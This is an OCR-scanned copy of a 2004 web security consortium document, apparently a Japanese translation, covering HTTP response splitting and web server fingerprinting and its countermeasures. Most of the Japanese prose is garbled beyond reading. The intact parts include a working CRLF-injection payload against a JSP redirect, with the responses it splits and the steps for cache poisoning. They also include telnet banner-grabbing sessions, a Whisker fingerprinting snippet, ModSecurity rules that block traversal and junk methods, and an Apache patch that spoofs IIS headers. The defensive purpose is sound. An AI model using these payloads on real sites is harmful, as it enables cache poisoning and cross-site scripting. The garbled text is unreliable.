EDT, Web H—/N\ITHAZHIWDEENIZHYET . ZTLTZDOH A,
BEA—TYMZE2T 1 DTIELEC2 DO HTTP LRAKRU A EBIREN
FT. XIDLARVR(E, HEE(CLH>THAHAEEEFHIEHEINSTLL
S, FNEBEETEHYE LA EELDX, WEEHSTELIZHIE
TE52HFEHDLARRAT,HTTP L AR AD HTTP O status TH5
HTTP L AR R D body DERED/NAMMIZLULET, CHAETREIZA
HEMBEIIA—TIYMEATYII RN EDIREEZERLET . &
FDYITARE Web H—/AM5 2 DDL ARV REB|IEHL, 2 FH
DYIITAMEWeb H—/NEIZHBTHEEZZITTULALYY—RIZxE
THGENERTYT . LAMAL.2EFEBDUYITRAMIZA—SYMI&DT2
EZEHDOHTTPLRARUVREBHAEHOEINET , CNITHEBEENZELT
WET, LI=A>T. REBZ XA IhEEFEL.QFEBDVIIRLT
EESNTWeb H—N\EDHIBHFED)Y—R%E, B—/ D HTTP L
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ARVAH—/ADAVTUNEEELRAFTFEEFT . Sl Web H—/N\
ERALTHEENMEAELET—RBYFEBA-CNA 2FB DL
AR RIZEHEYET,

HTTP LARURAEZHRETEHIHEL, H—/\DRY)TEM HTTP LR
ROZAANYE—[CA—HT—FEMAHRAL LD TITONFTT . TDR
OYVTEMN, A—FF—RZYFAL U3 L AR AHTTP status
O—K®D 3xx)DYFAL4>3>2 URL [CHARADIBEED, LARUAN
JF—IBRETHEIZ, FDRIVTEMNA—HT—E2% 0 yF—{ED
ZRIZHA A EICRETIONERETT,

BUIDT—IXTIE. YA AL 23> URL [E Location HTTP LRERU R
ANYE—D—ERZHY, Vv F—EFBRETHIRDT—ATIL, IvF—
MDERI-EH Set—-Cookie HTTP LARUY AAYA —ND—ERIZHYET,

COREBEDE(X.CRELFDEAIZHYET, 2FY. 7TU5r—3y
MEBIO HTTP Ay t—UFBELTLNV-EZAIZCRELFREAT D
ZET 2FBDHTTP Ayt—CFEYHLET,

CRLF Aoz ooavid, FIVr—av NEB B O HTTP L AR
ADT—R%EBITHTDMOKE(FLAETSEXHR)TER RS
NFEFTH, ZDIFE CRLF DXRBNIZVELBYFET -RRUDFETEFR
HMHTTP LRRY R AV —DF LTS, (RBEMNMERL., 7T
=230 NFESKEMULEL)BID HTTP L AR R Ay — D% E R
LEFT (LD > THEEWNSLZRIDHEET),

ZDAVT T AV MAEREIZE DD L., (Web H—/N ETENMELTLVD)
TI)T— a2 MRBREDA—F T —2F)F ALY a LTIy
F—DHREIZANIZY, fAIGIDAEEFH>THRENICA—FT—4
Z HTTP LRIRY AAY S —D—EIZE B YT BIHEE T,

HTTP LRARU RENENT H&, SESEFLHENEBNTONET,
o AV ANRIVTT 4T (XSS): ZNETHDEZATIX. V54
TURMZIE Z{EL, TRTO location NyS —ZFHI|FEH TEEULE
DX VFALIavRO) ThEE->THY (A ETXSS EE
EITTADIEIAAEETLIz, TNMABEIZHYET,
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Web DF ¥ v a2 AT H(ESHEZD): CNIETHLWOWVKRET
T, MEBEHIL, - INI=EA X, HHAEEDFyaY—/N-
CDIE (L. Squid 2.4, NetCache 5.2, Apache Proxy 2.0 &Z®D
DXy 2 —/INTHERBEHIN2EZFBD)IIRMNIFT
52BBHDLARRAEF vyl adEnIE KW EITTYT,
http://web.site/index.html]IZ 2 FEEH DJHIITALEEY ILE
ENTLICHIEILE 2 BEEDLARUREZI—S yMNFryda
P—/OIZF vy aIEBHIEZEITET, S lE Web A hE
EIH5DIZHEYT, DEELRICF vy ay—N\ZFIHELT
WBHDISA T U EEEZITET , BARENSHEDMIC
IMEBEL., yiaviyF—2BAEY. TDEvavoy
F—ZHoMLHRDI-EIZHEEILIZYTEET,
Z—PICE D BB (I — P PR — U C— Ry e
THAZIZH)) REDERD—DOT. HEEIF2ZBN)HIIR
FELGKTEHRENBETT . &2 EESNTT A, 2—4 vk
NEMI—TFETH—NNIZHLTRIL TCP#EHEXAL TS
BEEFEvyat—/\NIDT—RIZEZE)MNEINEZATY,
B—Fy MERTYYIARE Web H—/\IZ3EB RO 1—FIE.
WEEIMES-2 BB DLARVREZ—T Y LZITEAT
L&D, #ERELT. Web HARDISAT ML, WEEHIEYRA
A —REZITMAEIZHYET  KEE(XZORE(C
KT B —NYHI R FBEIOR—S TSR ETE
EMZIFT(A—HILT—RHHLEESHRR), ATRDIE B LR
(2. MBEHIIEZFMZEIFTTEHLGL Yy avovxF—&EZATE
Y, JELIZYTEET,

2 —HEEFDOIFERNHHLN—T oD CORETIE. K
BENI—FITHH-O>TH—/\HLDI—FRITL AR A%
ZITENAESIHYET, LI=A>T. WEBEXWBTHSH
HLNGWIA—TFEEDREMRICTIELRATEET,
TITVDOX Yo ami5T Il Web DF vy aZ S A
T 5 1D Gr— XTI (E6.0 THERFHM), XSS [T
WCT.AEBEBELHEENMEARDISAT U NEZ—YMIT 500
ENHYET, LHL XSS EIFEW, TS5V DF vyl alcB
FOTNY—REEBHIT DT, ZENRBBICRUFET,
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il
TEED JSPR—UZFRETLTHET (Vredir langjsp ITTFET HEREL
ij-)o

<%
response.sendRedirect("/by_lang.jsp?lang="+
request.getParameter("lang"));

%>

lang=English &LV3/35A4T/redir_lang.jsp #E1T3 5L,
/by_lang.jsp?lang=EnglishIZYHZ ALY LET LRAKRURIE
EBETEEDLSIZHEYFET(BEA WebLogic 8.1 SP1-ZDH—/N[ZDLY
TIE. SEXHN]DOTHARATDIRE I FFHANHYET),

HTTP/1.1 302 Moved Temporarily

Date: wed, 24 Dec 2003 12:53:28 GMT

Location:
http://10.1.1.1/by_lang.jsp?lang=English
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20
23:06:40 pDT 2003 271009 with

Content-Type: text/html

Set-Cookie:
JSESSIONID=1pMRZ010QzZi1E6Y611VSREQ82pg9Bolape7h4y
OHZ62RXJApqwBE!-1251019693; path=/

Connection: Close

<html><head><tit1e>302 Moved
Temporarily</title></head>

<body bgcolor="#FFFFFF">

<p>This document you requested has moved
temporar11y.</p>

<p>It's now at <a
href="http://10.1.1.1/by_lang.jsp?lang=English'>h
ttp://10.1.1.1/by_lang.jsp?lang=English</a>.</p>
</body></html>

BTHMNBESIZ, lang /1XT AR Location LARY AANYA —|ZH# &
AFENTULET,

CZTHTTP LRARUREHENT HHREIZERYEIMYET , English ELY
HEZELT 2. HAEFXEVET, TDIEICIL URL Toa—kEh =
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CRLF BZ (L IREDL ARV RAEZR TSE . F=ITEMDL RTRY
AEEYET . RHAZFDHITY,

/redir_lang.jsp?lang=foobar%0d%0aContent-Length:%
200%0d%0a%0d%0aHTTP/1.1%20200%200K%0d%0aContent-T
ype:%20text/htm1%0d%0aContent-Length:%2019%0d%0a%
0d%0a<html>Shazam</html>

HRIITEROHADRN)—L T, TCP HEHT Web —/\AFEYHLE
¥,

HTTP/1.1 302 Moved Temporarily

Date: wed, 24 Dec 2003 15:26:41 GMT

Location: http://10.1.1.1/by_lang.jsp?lang=foobar
Content-Length: 0

HTTP/1.1 200 OK
content-Type: text/html
Content-Length: 19

<html>Shazam</html>

Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20
23:06:40 pDT 2003 271009 with

Content-Type: text/html

Set-Cookie:
JSESSIONID=1pwxbgHwzeaIIFyaksxqsq92z0vuLcQucAanfK
%In?%erST9UsS!—1251019693; path=/

R A—4 Y&, 2D TCP AR —LEFTEEDLSIZHEITLET,
BHD HTTP LARU X, Shlk 302() AL 3)ENS LR R
T3, COLARVRIEETY,

2FEDHTTP LATRU R, ZhlE 200 EWLNVSL ARV RIZHY BRI
19 N/ FD HTML B oY FET  COL ARV RIEFRTT,
RiAGT—E-2ZBBDLARCADEDLYLIEIZT RTRE T,
HTTP F|REIZESLTLVEE A,

LE=D>T. HEBEN 2 DDVITAMNEEYAD E ZPD)IIT XL
[ZRDESIZHYETS,
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/redir_lang.jsp?lang=foobar%0d%0aContent-Length:%
200%0d%0a%0d%0aHTTP/1.1%20200%200K%0d%0aContent-T
ype:%20text/htm1%0d%0aContent-Length:%2019%0d%0a%
0d%0a<html>Shazam</html>

2 BZBBIXTEIZHYET,

/index.html

A—FIME. RODVIIARI DL AR R ET HEALET
TL&D,

HTTP/1.1 302 Moved Temporarily

Date: Wed, 24 Dec 2003 15:26:41 GMT

Location: http://10.1.1.1/by_langjsp?lang=foobar
Content—Length: 0

ZL T, (/indexhtml [Zx9 B2 HEHD)IITAME. 2 BFB DL AR
RIZx T HEHAET TLLD,

HTTP/1.1 200 OK
content-Type: text/html
Content-Length: 19

<html>Shazam</html>
NT. HEBEII—TINETENEIIENTEEL,

SEXB]ITHBALTHDAESIZ. COBIFETHEHMTT , ZOHFIT
(X, 23— YD TCP AR ) —LZEMEIRT SEDOBEC T EY LT —4
[CDWTDERE., T—2Mo oo avICBhAHRRE., dmHlIZTvy
AT AHFEICOVWT. BELTLWVELWELAHYFET .

MU EDERBAIL. SEXEN]ID I EERMNGHRET 123> THib
nTWhET,
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fRRAE

T—RERREEL TS, HTTP LRARY AANY S — (2T —A2Z A HIA
LA, CRA LF (LMD BEELGEXF)FHIBRL TS, FITovF—
ERETAEOYS AL BEIZIFEE LTS, CRLF /U
93 ESDIZ, Y—FN\TADEGNFATEES . 7T )5 —
DIAVERET DRI, TDIIEEF ) T4 R—ILDFEEET AN
SEGLBHYET,

SIEITHALT BAG,
o WIRMDTIVr—avI P oxHATHIE,
e WMWF—BDIPFRLAREFEST,. 7IVr—2avIZ79ERTS
ZEOFY.RLIP PRLRIE DT T r—SavIERALE
Wk N—F X ILIRRTAV T EFIAT 5).

S & Xk

[1] “Divide and Conquer — HTTP Response Splitting, Web Cache
Poisoning Attacks, and Related Topics” by Amit Klein,
http://www.sanctuminc.com/pdf/whitepaper httpresponse.pdf

[2] “CRLF Injection’ by UIf Harnhammar (BugTraq posting),
http://www.securityfocus.com/archive/1,/271515

1.2 Web Y—n\OT7T)r—a>0DE

Web —/\0T7T)r—23 0 DEFEX. (AR H I RFvT—,
Nmap Z{£>7=)TCP/IP D4 E LB TNVET  ES>RIE, BIEH OSI £
TILDTITVr—a  BIZERZLSTTWWADIZHRL, BEIXLNSY
AR—FBIZEAZLETTWSETT , Web H—NEFT)5—2 30
DEEEITIBRICIE. 5—F YLD YT 7O EHLZTOT 74
IWERTEZEDIERAHY. hORODEBEDHTHET., 2ub
D—9F7 —XTOF RO —S 2 ERTEET,
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HTTP ZOraJLDEEDEL

HTTP LRARY ANy S —

774 ILILEEF(asp vs. jsp)

4% —(ASPSESSION)

I5—R—I(TIHILE?)

TAL YN FEE E B RTE #2(Windows/Unix)

Web BHFEEH 1> #7x—X(Frontpage/WebPublisher)
Web B & A > 27 1x— X(iPlanet/Comanche)

0S MR EDI AT yF(Linux £D 11S?)

WEBE(X, 3—TybhERRD Web DEEEFEL., TESL(HEHREZ
(FTUKFIEELLKEYFET . CORBHREFEVKREERIL. RBEFEEHY
EIFf. A= YRERDRAMFIEALTNVAY IO T 7 DIEFE O/ N—
DAVICHEETAREHEDNRMICFIALET

EESNIHEBEDEZZIZODVVTDRIMESHLALIBIET S, 3E
BIZTEETY, LD, X2 T DHESEECN\YIT7A—/\T0O—
H£)DETI. BEDYINIZT TR E —HON—30BBICERS
nNaEMN5TY,

Tl VIR T D=3 FELGEEL. MESESICHERSE. I
BOHELALNY, 2HFHERED /A XD THRYET, COLSH
BHT Web H—N\EFTNr—2a0NBERDEREZEHEMLTLESE.
mEEIEITREYET,

HTTP ) RFC 2068 Tlk. £FEIZCTHEMNHAEIZIE->TULVNT, IServer]
LARAANYS —IMRRTBYIN I T7DN—3 0% 2T NEE
Y LI, Web EEEFAFELTLVET,

(R —ROBEDY TN T ONR—Va BNHLCR DL, &
X2 UT AR —IDDHDBES D> TNBY TR = T ~D B Jﬂ,f
PRV U BELITEFRICRVET, — "R ET DA, 2
DIEBZRETRERT T a0 HELREL 1)
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A—FyRhERALTULNS Web H—/\0OF7 1) r— 3o DFEFE O/ —
Tavid, EERIEMOARIEHRIC LI EFHREINET S ETHEA
TEET, LI=A>TIITIE, &RIED Web FEY—ILOBFIALTLNS
HTTP ORI DEEDHTIZFEITEREF LU TET,

1
ROPIEFTRT, B—H5IhELEDBWeb H—/NWHTTP YO TR EHEA
ITHY., S@BIRLE=YT S0 c DLV TERBAL TLVET,

HTTP Zara)LDEEDEL
EBEMNLLD - EE0ORYIE. ERICEDNTNWWAEENA., XX

FINLFEDFKL HTTP LARU AAYRE —THRRESN DA 5EELD
= BRRESEFICE-STLET,

LARYRaA—FRAyt— - T5—3—F D 404 [ Apache TlEINot
Found1Z %15 FE 9 HY. Microsoft 11IS/5.0 TlXI Object Not Found] T
9,

Apache 1.3.29 - 404 Microsoft-IIS/4.0 - 404

# telnet targetl.com 80
Trying targetl.com...
Connected to
targetl.com.

Escape character is
l/\]l
HEAD
/non-existent-file.txt
HTTP/1.0

HTTP/1.1 404 Not Found
Date: Mon, 07 Jun 2004
14:31:03 GMT

Server: Apache/1.3.29
(Unix) mod perl/1.29
Connection: close
Content-Type:

71

# telnet target2.com 80
Trying targetZ.com...
Connected to
target2.com.

Escape character is
l/\]l
HEAD
/non-existent-file.txt
HTTP/1.0

HTTP/1.1 404 Object Not
Found

Server:
Microsoft-IIS/4.0

Date: Mon, 07 Jun 2004
14:41:22 GMT

Content-Length: 461
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text/html;
charset=1s0-8859-1

Connection closed by
foreign host.

Netscape-Enterprise/6.0
— HEAD

# telnet targetl.com 80
Trying targetl.com...

Connected to targetl.com.
Escape character is ""]'.

HEAD / HTTP/1.0

HTTP/1.1 200 OK

Server:
Netscape-Enterprise/6.0
Date: Mon, 07 Jun 2004
14:55:25 GMT
Content-length: 26248
Content-type: text/html
Accept-ranges: bytes

Connection closed by
foreign host.

Content-Type: text/html

Connection closed by

foreign host.

AySE—NFIAHE - TContent-Length INYA —THo1=Y.
[Content-length | THho=ULET,

Microsoft-IIS/4.0 -
HEAD

# telnet target2.com 80
Trying targetZ.com...
Connected to
target2.com.

Escape character is

l/\]'

HEAD / HTTP/1.0

HTTP/1.1 404 Object Not
Found

Server:
Microsoft-IIS/4.0
Date: Mon, 07 Jun 2004
15:22:54 GMT
Content-Length:
Content-Type:
text/html

401

Connection closed by
foreign host.

BIXHIEED - HTTP RFC [I2&NIE, Web DPOYRYT XTI, @5
IW—THOEEWNEETELLIIC, BELEBREZHONLHRDHTHL
HEAHYETHTTP LAKRVZAAYE —DIEFERK FHEEDHST
R TY,
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Apache 1.3.29- HEAD

# telnet targetl.com 80
Trying targetl.com...
Connected to targetl.com.
Escape character is '""]'.
HEAD / HTTP/1.0

HTTP/1.1 200 OK

Date: Mon, 07 Jun 2004 15:21:24
GMT

Server: Apache/1.3.29
mod perl/1.29
Content-Location:
index.html.en

Vary:

negotiate, accept-language,
accept-charset

TCN: choice
Last-Modified: Fri, 04 May 2001
00:00:38 GMT

ETag:
"4del4-5b0-3afl1fl26;40ad4ed5d"
Accept-Ranges: bytes
Content-Length: 1456
Connection: close
Content-Type: text/html
Content-Language: en

Expires: Mon, 07 Jun 2004
15:21:24 GMT

(Unix)

Connection closed by foreign
host.

73

AYE—DIBEF - Apache H— N[ & (=l Server INY A —DHIIZ
[Date JNyA —%BELT A Microsoft-IIS [FZDHTY,

Microsoft-I1IS/4.0
- HEAD

# telnet
target2.com 80
Trying
targetZ2.com...
Connected to
target2.com.
Escape character
is ""M]°'.

HEAD / HTTP/1.0

HTTP/1.1 404
Object Not Found
Server:
Microsoft-I1IS/4.0
Date: Mon, 07 Jun
2004 15:22:54 GMT
Content-Length:
461

Content-Type:
text/html

Connection closed
by foreign host.
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JARDIEF - HTTP Y I ARTOPTIONS *VyKRMELNBEE, FD
URI THRISN TLNB AV YR D) R Allow INYF —[Z A-TIREN
F£9 . Apache [l Allow INY A —T2IFZIRT DIZxFL ., IS [ETPublic]
YA —3HIRLET,

Apache 1.3.29- OPTIONS

# telnet targetl.com 80
Trying targetl.com...
Connected to
targetl.com.

Escape character is

l/\]'

OPTIONS * HTTP/1.0

HTTP/1.1 200 OK

Date: Mon, 07 Jun 2004
16:21:58 GMT

Server: Apache/1.3.29
(Unix) mod perl/1.29
Content-Length: O
Allow: GET, HEAD,
OPTIONS, TRACE
Connection: close

Connection closed by
foreign host.

74

Microsoft-IIS/5.0 -
OPTIONS

# telnet target2.com 80
Trying targetZ.com...
Connected to
target2.com.

Escape character is

l/\]'

OPTIONS * HTTP/1.0

HTTP/1.1 200 OK

Server:
Microsoft-IIS/5.0

Date: Mon, 7 Jun 2004
12:21:38 GMT
Content-Length: O
Accept-Ranges: bytes
DASL: <DAV:sqgl>

DAV: 1, 2

Public: OPTIONS, TRACE,
GET, HEAD, DELETE, PUT,
POST, COPY, MOVE, MKCOL,
PROPFIND, PROPPATCH,
LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE,
GET, HEAD, DELETE, PUT,
POST, COPY, MOVE, MKCOL,
PROPFIND, PROPPATCH,
LOCK, UNLOCK, SEARCH
Cache-Control: private

Connection closed by
foreign host.
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RERAEIE - HTTP LRARUVAAYAE —TIR- TKHEE LA DM,
BUE) DT AREZEITHEWI VT AT EDFERIZ, ASHLELD
HYFET,

BFABAYT—DFEE - —/\ELRKRURIZANDAYE —FEIR
TEFET AV —IZIE BRI TERSINDEDEHYE T A, =L TLY
DAYE —(1=,Z X, ETag)ldA T3> TY, T Hlld Apache —
INDLU AR ZAANYSE —T IS H—/\[Z[E7ELY ETag X5 Vary. Expires
ELVS- EMEENEELED,

Apache 1.3.29- HEAD

# telnet targetl.com 80
Trying targetl.com...
Connected to targetl.com.
Escape character is '""]'.
HEAD / HTTP/1.0

HTTP/1.1 200 OK

Date: Mon, 07 Jun 2004 15:21:24
GMT

Server: Apache/1.3.29
mod perl/1.29
Content-Location:
index.html.en

Vary:
negotiate,accept-language,
accept-charset

TCN: choice
Last-Modified: Fri,
2001 00:00:38 GMT
ETag:
"4del4d4-5b0-3aflfl26;40aded5d"
Accept-Ranges: bytes
Content-Length: 1456
Connection: close
Content-Type: text/html
Content-Language: en

(Unix)

04 May

75

Microsoft-I1IS/4.0
— HEAD

# telnet
target2.com 80
Trying
targetZ2.com...
Connected to

target2.com.

Escape character
is .
HEAD / HTTP/1.0

l/\]'

HTTP/1.1 404
Object Not Found
Server:
Microsoft-II1S/4.0
Date: Mon, 07 Jun
2004 15:22:54 GMT
Content-Length:
401

Content-Type:
text/html

Connection closed
by foreign host.
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Expires: Mon, 07 Jun 2004
15:21:24 GMT

Connection closed by foreign
host.

BELYVIIZAMI®TELARRI—K - 4—5 YD Web H—/\
ARICYYT AL ELTH, FDUHIT RN T HBRAELDLT-65.
EOLRARVRAO—RFAEREINET , SBIRICEIT5EKDENEL
TU21=YLFIA, Whisker RFxvFH—TFEHNTLVA( Light
Fingerprinting ] F TV T9 ., FTi2®D Perl Aa—FDER 7 (& Whisker 2.1
@D maintest Z7MILMLDEIHATY 2 DDTAREITLN, 3—F D
Web H—/\M AR L[ Apache H—/ GO N EHIBTLTWNET , /N F—
MaZRRLTEHEERBYE AL

BPIDYHITAMNEIGET //1T HTTP MR T—ARAO—KH 200 455,
RODVITANEFEYET 2 FB DI T AMMEIIGET/%2f1 T, ThlE
URI T>a—KULTIGET //JIZHYET . CORF, Apache 755 404-Not
Found T5—%&IRLET , TDM®D Web H—/\-1IS-[ZRILAT—F X
O—F#ERLEE A,

# now do some light fingerprinting...
== CUT ==
my $Aflag=0;
Sreq{whisker}->{uri}="//";
if (! do request (\%req, \%G_RESP) ) {
~d response (\%G_RESP) ;
if ($SG_RESP{whisker}->{code}==200) {
Sreq{whisker}->{uril}="/%2f";

if (! do request (\%req, \3G_RESP) ) {
_d response (\%G _RESP) ;
SAflag++
if ($SG_RESP{whisker}->{code}==404) ;
} } }

m re banner ('Apache', $Aflag);
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B— kD Web H A 2 Whisker ZFE B E =12 (2. Whisker [& Web H—
INDSARHE(Z Apache H—/N\EOMNEWLWSTLTFRAMIEEDWTIHREL
£, TEEH Whisker DEREFHI D —EFTT ,

Title: Server banner

Id: 100

Severity: Informational

The server returned the following banner:
Microsoft-I1IS/4.0

Title: Alternate server type

Id: 103

Severity: Informational

Testing has identified the server might be an 'Apache’
server. This

Change could be due to the server not correctly
identifying itself (the

Admins changed the banner). Tests will now check for
this server type

as well as the previously identified server types.

Web 4—/\DEEEM ., H—/\DN\FT—BFBHREXSATE S TDAN
BEFOTWALHBEIZEELE T BT TIE AL, Whisker [Z1E,
Apache [ZX T HRAX Y UESHIZIEREIZT S, HoPEHTAEHYFE
j-o

fRRAE

Web H—/\HA BRI BEEFERIT. TN ENEMBTIIHIBRTEEZE
Ao REDAST-INELLS , EMRFEIRE Web H—/ DY IR I T7EHETE
LTLESTLLD BSADNBERBETREL, AEDLIKEETHSH
ETT, FEAEDHREEN LX) TAZEIZVD 2 H BB, ER
BZEHIALET, COEEZRICTBICIE. RORTYTEBHAET,

77
Copyright 2004, Web Application Security Consortium. All rights reserved.



RRAER. RETOONHFEGLDNEMLEEDAELATNE
ERS

Y—IONFT—BHRELEFETD

Web H—/\DL AR AAYA —TRIRINS[Server |18 B DIFEHRIE.
(BR<BHTHIRLIZY. ZEELIZYTEET , Web 2Fa) 7«25
FIL—TTIL.HTTP @ Serverb—I U ERELER T B LI K BRH1H
MEIZDODWTERBLTEEL = N FT—1BHRIEITEZEEL. ZDHMD A
ETYIRDIT7DIN—23 0 FBIGNE, ARITAET ST RYOD |
ANITRHLTIE, FEAEFRBICBYER A =1L, BEIESN =T —
LTOTSLICIFRIAIBET, T—LEFOTURATLEZS EREIE
BT—AMBATWVET DT, COHEIEL Web H—/N\ZEFHDIZIEE
[CRKUITY , FHLWLWD—LHAHREIZIES AN, ZDT—LAD Server:
F—=I DLRARVRICESDTURTLERETHLITEESINTINT
H, N\ TFETETORILIESKIIRFREBEENTEET,

Apache H—/\ — ModSecurity [Z[& SecServerSignature ERENBHY .
Web BEIEE L Apache ZaAV /(LY BRIV —RIA—FZWLLHIER
<. httpd.conf 774 JL T Server banner [ RZHRTET=FET,

IS —/\ - IISLockDown & URLScan Y—ILEZ A AN—ILT B L.
DSAT NIRRT NF—EHREESBEAONET,

AYS—IERDTRESEFIZS

LRARY ANV Z —HNGRTIERDEZFFIPRL TS, F2EZ (X
Apache Tl&., B & (X ServerTokens An 5 Z{E1EL . Server banner
=0 DREIZHIETEFT

ServerTokens Prod[uctOnly]

Server sends (e.g.): Server: Apache
ServerTokens Min[imal]

Server sends (e.g.): Server: Apache/1.3.0
ServerTokens OS

Server sends (e.g.): Server: Apache/1.3.0 (Unix)
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ServerTokens Full (or not specified)
Server sends (e.g.): Server: Apache/1.3.0 (Unix) PHP/3.0 MyMod/1.2

ANYRE —ETELEITOETNIX, BIITAUAM—ILLT#H S apache
ED2—IILDBEREREESTLLD,

BAYT—DRE

Web H—/N\ZE4HTE TELGLLIZY., MVIZKLKLIZY T AT, A
Web B ZFIRTT 523 DIHYFET . BEHREZIL. FETH1BIET
INF—5 SE % (Banner Grabbing)ZfTULNE T 8 EPICHEE (.
A=Y DERIRIEEETAIELFET  BMTRAVI—FANDZE
T, EH Web IRIEB(=LZ(E. DMZ BE)EEZFT, J/A—RTAY
DY —N\DEETINDIIICEZIL, EHLTERICTRENTSIC
EMTEET,

[ERX:/\F—4 SE> %5 (Banner Grabbing)&ld,. 95472 b H—/N
[CHE#E T S8 XAIZITMAXFINEFHEANHI L]

Apache H—/\73i5 httpd.conf MIE B [ZTFEEZFEMT NIX, EFHTE
F9,

Header set Via “1.1 squid.proxy.companyx.com (Squid/2.4.STABLEG)”
ErrorHeader set Via “ 1.1 squid.proxy.companyx.com
(Squid/2.4.STABLEG6)”

Header set X—Cache “MISS from www.nonexistenthost.com”
ErrorHeader set X—Cache “MISS from www.nonexistenthost.com”

NOHDIEHIE,. TRTHOLARURIZIVial& X—Cache HTTP L A7R
DANYS —ETERDOLSITEMLET,

# telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.

Escape character is '""]'.
HEAD / HTTP/1.0

HTTP/1.1 200 OK
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Server: Microsoft-IIS/4.0

Date: Sun, 30 Mar 2003 21:59:46 GMT
Content-Location: index.html.en

Vary: negotiate,accept-language,accept-charset
TCN: choice

Via: 1.1 squid.proxy.companyx.com
(Squid/2.4.STABLEG)

X-Cache: MISS from www.nonexistenthost.com
Content-Length: 2673

Connection: close

N T, Squid TAYLH—N\ZFE-TWBAKLSICREHNT. FELAL
H—/AD5 Web DT —EMNRBESNTLBLDESIZREFEFT, 257
BIET HWEBEEZFFDML. Apache H—/ XL T Squid DHESE
ThEondhELNFEFRA EEAAZDOKE(EHIIET . X-Cache
ANYE—ZHRELTHAIERICITFELLEWLRAMIKEEZNNTHE
[ZIRYET,

Y—F/NT4D Web X2 TAY—IEAVA—ILT S

JEINT ModSecurity %2 ServerMask D &57% Web X2 )T4 7 T ) o —
2avOY—)LEAVRAL—ILT BHE HTTPrint D KI7ETRIED Web
Y—/\BEATT)T—a FRESE Y., EMICLIZYTEET,
EEDHITHERBALI=ESIZ. IN6DY—ILIEHR RGO T RARERL
TIES—7yb&E7i% Web H—NERAR FEDL AR RZESIEHL
F9 . FTicld HTTPrint AY Web H—/\IZiE>1=. BEELZV O XD HI
T9Y,

192.168.139.101 - - [08/Jun/2004:11:
"JUNKMETHOD / HTTP/1.0"™ 501 344 "-"
192.168.139.101 - - [08/Jun/2004:11:
"GET / JUNK/1.0" 400 381 "-" "-"

192.168.139.101 - - [08/Jun/2004:11:

"get / HTTP/1.0"™ 501 330 "-" "-"
192.168.139.101 - - [08/Jun/2004:11:
"GET / HTTP/0.8" 200 1456 "-" "-"
192.168.139.101 - - [08/Jun/2004:11:
"GET / HTTP/1.2" 200 1456 "-" "-"
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192.168.139.101 - - [08/Jun/2004:11:21:40 -0400]
"GET / HTTP/?).O" 200 1456 "=m w_m

192.168.139.101 - - [08/Jun/2004:11:21:40 -0400]
"GET /../../ HTTP/1.0" 400 344 "-" "-v

Apache 3 —/\[Z ModSecurity D &3%Y—)LEFE{T9 H&E. HTTP RFC
BOI4IEIDNEN, COLOLBEELRVII RN ES D BIToNET,
TE2IZ. httpd.conf TESER NS ModSecurity IEEZZITET .

# This will return a 403 - Forbidden Status Code for
all Mod Security actions
SecFilterDefaultAction "deny, log,status:403"

# This will deny directory traversals
SecFilter "\.\./"

# This entry forces compliance of the request method.
Any requests that do NOT
# start with either GET|HEAD|POST will be denied.

This will catch/trigger on
# junk methods.
SecFilterSelective THE REQUEST "!” (GET|HEAD|POST)"

# This entry will force HTTP compliance to the end
portion of the request. If

# the request does NOT end with a valid HTTP version,
then it will be denied.

SecFilterSelective THE REQUEST
"IHTTP\/(O\.9|1\.0]1\.1)S"

Y—RO—FDEIEE

NIEHAKRDP TRLEHLTFEECGYEITN. ZFEDENTT . D
EEIZHTBIRIRMEIX. TOTSIUTDRFILLARJLE Web D
BRRETREYET, —IBIICCOEZEIL. Web H—/DY—X
O—FZ#aVNAILEINBIET D0 NAFUIT4 3% F->TETEAK
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#EELET . Apache DEIHA—TY—AD Web H—/\%H5, O—
KIZZ7ORATEADT, KYBBIZITAET .

Header MEF - TiEtlX. Apache 1.3.29 H—/\DY—RXOa—KI[Zx9
% DATE & SERVER DJEFZETIET 45/ F T, IIS OPTIONS D 73
T—REBLLET, 2D/ \vFIL/apache 1.3.29/src/main T4LIKY)
(2355 http_protocol.c 77 IILEEEEZF T ISOL AR RA—IY
[ZEHNBHNYSF —% OPTIONS #4923 TiRLZET , Public ¥ DASL,

DAV. Cache-Control Ny —MINIZEZHULET,

-—— http protocol.c.orig Mon Apr 26 02:11:58
2004
+++ http protocol.c Mon Apr 26 02:43:31 2004
@@d -1597,9 +1597,6 Q@@

/* output the HTTP/1l.x Status-Line */

ap rvputs(r, protocol, " ", r->status line,
CRLF, NULL) ;

= /* output the date header */
- ap send header field(r, "Date",
ap _gm timestr 822 (r->pool, r->request time));

/* keep the set-by-proxy server header,
otherwise
* generate a new server header */
if (r->proxyreq) {
@d -1612,6 +1609,9 @@
ap send header field(r, "Server",
ap _get server version());

}

+ /* output the date header */
+ ap send header field(r, "Date",
ap _gm timestr 822 (r->pool, r->request time));
+

/* unset so we don't send them again */

ap table unset (r->headers out, "Date") ;
/* Avoid bogosity */
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ap table unset (r->headers out, "Server");
@@ -1716,7 +1716,9 @@
ap basic http header (r);

ap table setn(r->headers out,
"Content-Length", "0");
+ ap table setn(r->headers out, "Public",
"OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY,
MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK,
SEARCH") ;

ap table setn(r->headers out, "Allow",
make allow(r));
+ ap table setn(r->headers out,
"Cache-Control", "private");

ap set keepalive (r);

ap table do((int (*) (void *, const char *
const char *)) ap send header field,
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http.//www.port80software.com/support/articles/maskyourwebserver
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AR

[FRFE:COFF1AVDEXRUVBRERDS A2 XL, OpenContent [ZHEHL
L &E 9, OpenContent M N & IZ D LY T I . OpenContent M B & E& ik
(http://www2.bus.osaka—cu.ac jp/%7Ey—inaba/ProjectSugitaGenpaku/opl—j.htm) %
SEICLTEEN]

Terms and Conditions for Copying, Distributing, and Modifying

Items other than copying, distributing, and modifying the Content with which this
license was distributed (such as using, etc.) are outside the scope of this license.

1. You may copy and distribute exact replicas of the OpenContent (OC) as you
receive it, in any medium, provided that you conspicuously and appropriately publish
on each copy an appropriate copyright notice and disclaimer of warranty; keep
intact all the notices that refer to this License and to the absence of any warranty;
and give any other recipients of the OC a copy of this License along with the OC.
You may at your option charge a fee for the media and/or handling involved in
creating a unique copy of the OC for use offline, you may at your option offer
instructional support for the OC in exchange for a fee, or you may at your option
offer warranty in exchange for a fee. You may not charge a fee for the OC itself. You
